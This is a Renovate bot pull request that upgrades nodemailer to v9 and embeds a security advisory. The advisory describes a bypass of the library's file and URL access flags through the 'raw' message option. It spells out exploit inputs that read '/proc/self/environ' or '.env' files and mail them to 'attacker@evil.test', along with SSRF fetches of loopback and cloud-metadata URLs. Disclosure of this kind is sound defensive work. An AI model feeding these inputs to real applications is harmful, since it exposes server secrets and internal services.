renovate[bot] 7ea8800c99 chore: bump up nodemailer version to v9 [SECURITY] (#15134)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [nodemailer](https://nodemailer.com/)
([source](https://redirect.github.com/nodemailer/nodemailer)) |
[`^8.0.11` →
`^9.0.0`](https://renovatebot.com/diffs/npm/nodemailer/8.0.11/9.0.1) |
![age](https://developer.mend.io/api/mc/badges/age/npm/nodemailer/9.0.1?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/nodemailer/8.0.11/9.0.1?slim=true)
|

---

### Nodemailer: Message-level raw option bypasses
disableFileAccess/disableUrlAccess, enabling arbitrary file read and
full-response SSRF in the delivered message

[GHSA-p6gq-j5cr-w38f](https://redirect.github.com/advisories/GHSA-p6gq-j5cr-w38f)

<details>
<summary>More information</summary>

#### Details
##### Message-level `raw` option bypasses `disableFileAccess` /
`disableUrlAccess`, enabling arbitrary file read and full-response SSRF
in the sent message

- **Target:** nodemailer/nodemailer, npm `nodemailer` **v9.0.0** (HEAD
`4e58450eb490e5097a74b2b2cce35a8d9e21856e`)
- **Verdict:** CONFIRMED (local PoC, no network)

##### Summary

Nodemailer exposes `disableFileAccess` and `disableUrlAccess` so an
application that passes
**untrusted** message data to the library can forbid that data from
reading local files or
fetching URLs. Every attachment, alternative,
`html`/`text`/`watchHtml`/`amp` and `icalEvent`
content node honors these flags. **The message-level `raw` option does
not.**

`MailComposer.compile()` builds the root MIME node for a `raw` message
**without** threading the
two flags, so a `raw: { path: '/etc/passwd' }` or `raw: { href:
'http://169.254.169.254/…' }`
message is read / fetched anyway, and the file or HTTP-response bytes
become the **actual
message that is sent** by every transport (SMTP, SES, sendmail, stream,
JSON). An actor whose
input the application intended to sandbox therefore obtains arbitrary
local-file disclosure and
a full-response SSRF primitive, delivered to a recipient the same actor
can choose.

This is the same vulnerability class as the already-published
jsonTransport advisory
**GHSA-wqvq-jvpq-h66f**, but a **distinct code path** (`raw` root node,
not `normalize()`), and
strictly higher impact: the jsonTransport bug only affected the
locally-returned JSON, whereas
this affects the delivered RFC822 message for all transports.

##### Affected component

- `lib/mail-composer/index.js:34-35` — root cause:
  ```js
  if (this.mail.raw) {
this.message = new MimeNode('message/rfc822', { newline:
this.mail.newline }).setRaw(this.mail.raw);
  }
  ```
The `MimeNode` is constructed with only `{ newline }`. Compare the
sibling node builders

`_createMixed`/`_createAlternative`/`_createRelated`/`_createContentNode`
  (`lib/mail-composer/index.js:389-527`), which all pass
`disableUrlAccess: this.mail.disableUrlAccess, disableFileAccess:
this.mail.disableFileAccess`.
- `lib/mime-node/index.js:51-52` — the constructor derives
`this.disableFileAccess`/
`this.disableUrlAccess` solely from its own `options`; children do
**not** inherit a parent's
flags (`createChild`/`appendChild`, lines 175-194, pass options through
verbatim).
- `lib/mime-node/index.js:812` — `setRaw()` content is resolved through
`this._getStream(this._raw)`.
- `lib/mime-node/index.js:984-1010` — `_getStream` reads the file
(`fs.createReadStream`, 995) or
fetches the URL (`nmfetch`, 1009) **only guarded by
`this.disableFileAccess`/`this.disableUrlAccess`**,
  which on the `raw` root node are `false`.
- Reached from the normal send flow at `lib/mailer/index.js:188`
(`mail.message = new MailComposer(mail.data).compile()`), so every
transport is affected.

##### Reachability gate (hop-by-hop)

1. **Source.** Application calls `transporter.sendMail({ raw:
<userControlled> , to: <userControlled> })`
with `disableFileAccess: true` and/or `disableUrlAccess: true`
configured on the transporter
(forced onto `mail.data` in `lib/mailer/mail-message.js:36-40`) or per
message. This is the
exact scenario the flags exist for — the same precondition under which
GHSA-wqvq-jvpq-h66f was
   accepted.
2. **Guard — the access flags.** For attachments the flag is enforced: a
node created by
`_createContentNode` carries `disableFileAccess`, so `_getStream` throws
`EFILEACCESS`.
**Bypass:** the `raw` branch (`compile():34-35`) never sets the flag on
its node, so
`this.disableFileAccess === false` and the guard at `mime-node:985` /
`:999` is skipped.
There is no other validation between `mail.raw` and the read; `raw`
content shapes
(`{path}`, `{href}`, stream, string, buffer) are accepted as-is by
`setRaw`/`_getStream`.
3. **Sink.** `fs.createReadStream(content.path)` (file disclosure) or
`nmfetch(content.href, …)` (SSRF). The resulting bytes are emitted as
the message body by
   `createReadStream()`, which every transport pipes to its destination
(`smtp-transport:233`, `smtp-pool/pool-resource:208`,
`ses-transport:96`, `sendmail-transport:184`,
   `stream-transport:67`).

No guard blocks the chain; the only guard (the access flags) is
structurally absent on this node.

##### Root cause

Inconsistent enforcement: the access policy is applied per-`MimeNode`
via constructor options and
must be re-passed at every node creation. The `raw`-message shortcut in
`compile()` omits it,
while all five other node builders include it. The flags are therefore
enforced for every content
type *except* the one that lets the caller supply a complete message
body by path/URL.

##### Exploit path

Application that sandboxes untrusted mail input
(`disableFileAccess`/`disableUrlAccess` set):

1. Untrusted actor supplies `raw: { path: '/proc/self/environ' }` (or
any server file:
   `/app/.env`, key material, etc.) and `to: attacker@evil.test`.
2. `compile()` builds the raw root node without the flags; the transport
reads the file and sends
its contents as the message → **arbitrary server-file exfiltration to an
attacker-chosen mailbox.**
3. Alternatively `raw: { href: 'http://127.0.0.1:8080/admin' }` or a
cloud metadata URL →
Nodemailer fetches it server-side and delivers the full response body in
the email →
   **full-response SSRF** (no blind-channel limitation).

##### Impact

- **Confidentiality (High):** arbitrary local file read disclosed in the
outgoing message;
full-response SSRF to internal/metadata endpoints, also disclosed in the
message.
- **Integrity (Low):** attacker-fetched/file content is injected into
the delivered mail.
- The two protective flags an application relies on to contain untrusted
input are silently
  ineffective for `raw`.

##### Preconditions

The application (a) passes `disableFileAccess` and/or `disableUrlAccess`
(the documented sandboxing
flags) and (b) lets untrusted input influence the `raw` field (and, for
maximal disclosure, `to`).
No other configuration is required; all bundled transports are affected.
This mirrors the accepted
precondition of GHSA-wqvq-jvpq-h66f.

##### Severity

- **AV** — message data routinely originates over the network in the
apps these flags protect.
- **AC** — a single crafted `raw` object; deterministic.
- **PR** — the actor is a user whose input the app already treats as
untrusted (the reason the
  flags are set); not fully anonymous in the typical deployment.
- **UI** — no victim interaction.
- **S** — impact within Nodemailer's process scope.
- **C** — arbitrary file read **and** full-response SSRF, both delivered
to an attacker-chosen
recipient. (The sibling jsonTransport advisory used C:L because its leak
stayed in locally-returned
JSON; here the bytes leave the system in the sent message, so C:H is
warranted.)
- **I** — attacker injects fetched/file bytes into the outgoing message.
- **A**.
Note: if a deployment fixes the recipient (`to` not attacker-controlled)
the disclosure channel
narrows and the rating degrades toward the sibling's Medium; the High
rating reflects the
reasonable worst case where `raw` and `to` are both untrusted.

##### Adversarial re-read (attempts to refute)

1. **"`raw` content is by-design trusted, so the flags shouldn't
apply."** Rejected: every other
content path (attachments, alternatives, html/text, icalEvent) honors
the flags, and the
maintainer already accepted GHSA-wqvq-jvpq-h66f for exactly this
"untrusted input + flag set"
model. The asymmetry — attachment `{path}` is blocked but `raw:{path}`
is not — is the bug, and
the PoC's CONTROL case proves the flag is otherwise effective on the
same file.
2. **"The raw node inherits the flags via rootNode."** Rejected by code
and by PoC: `compile():35`
constructs the node with `{ newline }` only; `MimeNode` constructor sets
`this.disableFileAccess = !!options.disableFileAccess` → `false`;
`rootNode` is itself; no
   inheritance exists.
3. **"The PoC leaks for an unrelated reason."** Rejected: the CONTROL
message (`attachments:[{path}]`,
same file, same transporter) returns `EFILEACCESS`; only the
`raw:{path}` message leaks. The
sentinel nonce exists solely in the temp file; the URL nonce is
generated server-side and is only
obtainable by an actual fetch. Both observables are uniquely bound to
the bypass.
4. **"Maybe only jsonTransport (already reported) is affected."**
Rejected: the PoC uses
`streamTransport` and the root cause is in `MailComposer.compile()`
(`mailer:188`), shared by all
   transports; jsonTransport is a different (already-fixed) path.

I could not find any guard that blocks the chain; the finding survives.

##### Proof of concept (safe, benign)

`findings/nodemailer/raw/poc-raw-fileaccess-bypass.js` — local, no
network egress (loopback only),
no destructive action. Output:
```
[CONTROL] attachment path with disableFileAccess: BLOCKED (EFILEACCESS) — flag works here
[ATTACK]  raw:{path} with disableFileAccess=true: BYPASSED — sentinel file CONTENT present in message
[ATTACK]  raw:{href} with disableUrlAccess=true (loopback server): BYPASSED — fetched body present (SSRF)
VERDICT: CONFIRMED
```
Run: `node findings/nodemailer/raw/poc-raw-fileaccess-bypass.js` (exit 0
= confirmed).

##### Remediation

Thread the access policy onto the `raw` root node, exactly as the other
builders do:
```js
if (this.mail.raw) {
    this.message = new MimeNode('message/rfc822', {
        newline: this.mail.newline,
        disableFileAccess: this.mail.disableFileAccess,
        disableUrlAccess: this.mail.disableUrlAccess
    }).setRaw(this.mail.raw);
}
```
(Defense in depth: `setRaw`/`_getStream` could also refuse
`{path}`/`{href}` raw content when either
flag is set, regardless of how the node was constructed.) Add a
regression test asserting that
`raw:{path}` and `raw:{href}` reject with `EFILEACCESS`/`EURLACCESS`
when the flags are set, mirroring
the attachment tests.

#### Severity
- CVSS Score: 7.1 / 10 (High)
- Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N`

#### References
-
[https://github.com/nodemailer/nodemailer/security/advisories/GHSA-p6gq-j5cr-w38f](https://redirect.github.com/nodemailer/nodemailer/security/advisories/GHSA-p6gq-j5cr-w38f)
-
[https://github.com/advisories/GHSA-p6gq-j5cr-w38f](https://redirect.github.com/advisories/GHSA-p6gq-j5cr-w38f)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-p6gq-j5cr-w38f)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Release Notes

<details>
<summary>nodemailer/nodemailer (nodemailer)</summary>

###
[`v9.0.1`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#901-2026-06-17)

[Compare
Source](https://redirect.github.com/nodemailer/nodemailer/compare/v9.0.0...v9.0.1)

##### Bug Fixes

- enforce disableFileAccess/disableUrlAccess for raw message option
([a82e060](https://redirect.github.com/nodemailer/nodemailer/commit/a82e060d978f27e5f41369a9a9807b1e3dedc2e2))

###
[`v9.0.0`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#900-2026-06-14)

[Compare
Source](https://redirect.github.com/nodemailer/nodemailer/compare/v8.0.11...v9.0.0)

##### ⚠ BREAKING CHANGES

- HTTPS requests made while fetching remote content (attachment
href/path URLs, OAuth2 token endpoints, HTTP/HTTPS proxy CONNECT) now
validate the server's TLS certificate by default. Requests to hosts with
self-signed, expired, or hostname-mismatched certificates that
previously succeeded will now fail. Opt back out per request with
tls.rejectUnauthorized=false (transport options, or a per-attachment
`tls` option).

##### Bug Fixes

- replace deprecated url.parse with a WHATWG URL wrapper
([0c080fb](https://redirect.github.com/nodemailer/nodemailer/commit/0c080fbf3278926f013a5c2ad06f5f6f0e18f5ed))
- validate TLS certificates by default when fetching remote content
([6a947ac](https://redirect.github.com/nodemailer/nodemailer/commit/6a947ac7114a16da1e6a50d9a6f4e17026ce145d))

</details>

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